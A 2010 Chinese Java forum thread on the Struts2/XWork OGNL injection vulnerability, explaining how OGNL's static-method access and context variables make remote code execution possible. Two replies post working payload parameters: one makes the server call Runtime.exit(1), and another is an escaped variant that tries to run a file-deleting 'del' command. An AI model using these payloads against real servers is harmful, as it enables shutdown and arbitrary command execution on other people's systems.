论坛首页 Java企业应用论坛

Struts2/XWork 安全漏洞及解决办法

浏览 68951 次
该帖已经被评为精华帖
作者 正文
   发表时间:2010-07-25   最后修改:2010-07-25
Struts2/XWork一直将OGNL作为其依赖的表达式语言,这一点是造成这一漏洞的根源。OGNL是强大的,不过强大就要付出代价。

从这个漏洞本身来说,我们只需要在小范围内引起警惕就行,尤其是针对互联网应用,对于企业内部应用,事实上也没什么必要多花功夫。

我比较期待的,是某一天Struts2的开发者不再使用OGNL,而是自己开发一套表达式语言,这样的问题就不复存在了。
0 请登录后投票
   发表时间:2010-07-25  
downpour 写道
Struts2/XWork一直将OGNL作为其依赖的表达式语言,这一点是造成这一漏洞的根源。OGNL是强大的,不过强大就要付出代价。

从这个漏洞本身来说,我们只需要在小范围内引起警惕就行,尤其是针对互联网应用,对于企业内部应用,事实上也没什么必要多花功夫。

我比较期待的,是某一天Struts2的开发者不再使用OGNL,而是自己开发一套表达式语言,这样的问题就不复存在了。

OGNL表达式(Object GraphicNavigation Language对象图导航语言),其实OGNL表达式并非是只是用于Struts2在页面上标签取值的工具。它贯穿了struts2/xwork的整个体系,在Struts 2框架中,值栈(Value Stack)就是OGNL的根对象,Struts 2中的OGNL Context是ActionContext。只要是request之间传递参数就会用到OGNL,所以并非老兄说的小范围。
0 请登录后投票
   发表时间:2010-07-25  
确实有用

不过我很想知道,你的那段参数是怎么最后被OGNL处理成
java.lang.Runtime.getRuntime().exit(1);
0 请登录后投票
   发表时间:2010-07-25  
onlylau 写道
确实有用

不过我很想知道,你的那段参数是怎么最后被OGNL处理成
java.lang.Runtime.getRuntime().exit(1);

呵呵,有关该bug报道已经有很多了,而且做了原因分析:
ONGL支持的一些功能
  • 调用方法:foo()
  • 调用静态方法:@java.lang.System@exit(1)
  • 类的调用:new MyCorner()
  • 处理上下文变量:#foo = new MyCorner()

并且OGNL有预定义的变量
  • #context - 这个方法的能否被调用是基于OgnlContext的 'xwork.MethodAccessor.denyMethodExecution' 属性的值
  • #_memberAccess - SecurityMemberAccess的'allowStaticAccess' 字段用来防止静态方法的执行

那段参数转义后:
('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1 

执行时OGNL,设置调用静态方法为true,denyMethodExecution(拒绝方法执行)设置为false,然后调用方法,#rt.exit(1),在根据#rt=@java.lang.Runtime@getRuntime()最后就被解析为java.lang.Runtime.getRuntime().exit(1);
0 请登录后投票
   发表时间:2010-07-25  
非常有用的资料,试验成功。使用了Struts2 和 webwork的项目需要立刻修正这个BUG了,否则问题大了。
0 请登录后投票
   发表时间:2010-07-26   最后修改:2010-07-26
看来我有必要把 JSEL 功能做起来了:)
楼主这个信息很有价值,投你一票。
0 请登录后投票
   发表时间:2010-07-26  
真是不小的漏洞……
现在struts2更新还这么慢,
真有点对他没信心了
0 请登录后投票
   发表时间:2010-07-26  
ferly_j 写道
真是不小的漏洞……
现在struts2更新还这么慢,
真有点对他没信心了

其实,这应该算是webwork的漏洞。
0 请登录后投票
   发表时间:2010-07-26  
我试验怎没成功。?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023exec(del  c:/12.txt)  ')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1 

0 请登录后投票
   发表时间:2010-07-26  
兄弟,我的这个怎么没执行成功。是不是在window 下不能执行?
0 请登录后投票
论坛首页 Java企业应用版

跳转论坛:
Global site tag (gtag.js) - Google Analytics